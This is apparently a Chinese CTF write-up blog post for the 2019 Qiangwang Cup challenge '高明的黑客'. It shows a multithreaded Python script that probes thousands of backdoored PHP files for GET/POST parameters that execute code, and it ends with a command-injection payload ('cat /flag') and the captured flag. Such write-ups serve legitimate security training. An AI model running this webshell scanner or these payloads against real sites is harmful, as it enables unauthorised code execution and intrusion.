[强网杯 2019]高明的黑客

文章目录

题目

链接:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2

解答

1、打开网址
在这里插入图片描述
根据提示,存在网站源码备份

2、在网址后面加上/www.tar.gz,下载网站源码,打开
在这里插入图片描述
发现有3000多个文件,头疼…

3、随便打开一个文件
在这里插入图片描述
发现文件中很多shell,包括eval,system,exce,assert等函数

4、一个一个文件打开去找是不现实,故只能编写脚本,但是测试网址最后不要是题目网址,会因为请求过于频繁而返回不正常信息。
最好的办法是在本地搭建环境进行测试,我是在虚拟机中搭建了环境,说干就干,编写脚本

import os
import re
import requests
import threading
import time

path = r'C:\Users\DiliLearngent\Downloads\src'
Thread_num = 10
Flag = 0

#获取文件名列表,以线程数分类
def GetFile(path,Thread_num):
    # 获取所有的文件名
    file_name = os.listdir(path)
    #将所有元素分配到
    file_name_list = [file_name[i:i + Thread_num] for i in range(0, len(file_name), Thread_num)]
    # print(file_name_list)
    return file_name_list

#寻找一个文件中可用的参数并测试
def read_file(url,file_name):
    path1 = path+"\\"+file_name
    with open(path1, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    param = {}       #存取所有get
    data = {}        #存取所有post
    for i in gets:
        param[i] = "echo 'hello world!';"
    for j in posts:
        data[j] = "echo 'hello world!';"

    #开始请求
    request = requests.session()
    url = url+file_name
    r = request.post(url,data=data,params=param)
    r.close()
    r.encoding = 'utf-8'
    content = r.text
    flag = 0
    if 'hello world!' in content:
        # print(file_name)
        for i in gets:
            req = requests.session().get(url=url+'?%s='%i+"echo 'hello world!';")
            req.encoding = 'utf-8'
            content = req.text
            # print(content)
            req.close()
            if "hello world!" in content:
                print("找到了可用文件:"+file_name+"    可用参数为:%s" %i+"   方式为Get")
                flag = 1
                break
            else:
                time.sleep(1)
            if flag==1:
                break
        if flag == 0:
            for i in posts:
                req = requests.session().post(url,data = {i:"echo 'hello world!';"})
                req.encoding = 'utf-8'
                content = req.text
                req.close()
                if "hello world!" in content:
                    print("找到了可用文件:"+file_name+"    可用参数为:%s" %i+"   方式为Post")
                    flag = 1
                    break
                else:
                    time.sleep(1)
    if flag==1:
        Flag = 1

#线程执行函数
def Fun_Thread(url,file_name_list):
    for i in file_name_list:
        if Flag==0:
            read_file(url,i)
            time.sleep(3)
        else:
            break


if __name__=="__main__":
    url = r"http://10.86.48.31/SRC/"
    file_name_list = GetFile(path=path,Thread_num=Thread_num)
    for i in file_name_list:
        t = threading.Thread(target=Fun_Thread,args=(url,i))
        t.start()

执行结果:
在这里插入图片描述
其实代码中那几个sleep可以不用,那是我在测试做题平台加上去的,奈何还是请求过于频繁
4、找到了正确的文件和参数后,就可以构造payload,美滋滋
payload:/xk0SzyKwfzw.php?Efa5BVG=cat /flag;
在这里插入图片描述
flag{2fc21854-6b1e-4ab9-8262-d0216037789a}
搞定!!!!

编写代码测试后一直不能找到文件,所以不断调试,结果是在url处少了一个?号,所以编写代码的时候一定要仔细

知识点

这里的知识点比较少,主要考察的是python代码编写的能力
关于python中requests的用法,后面会出一篇比较详细的博客

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值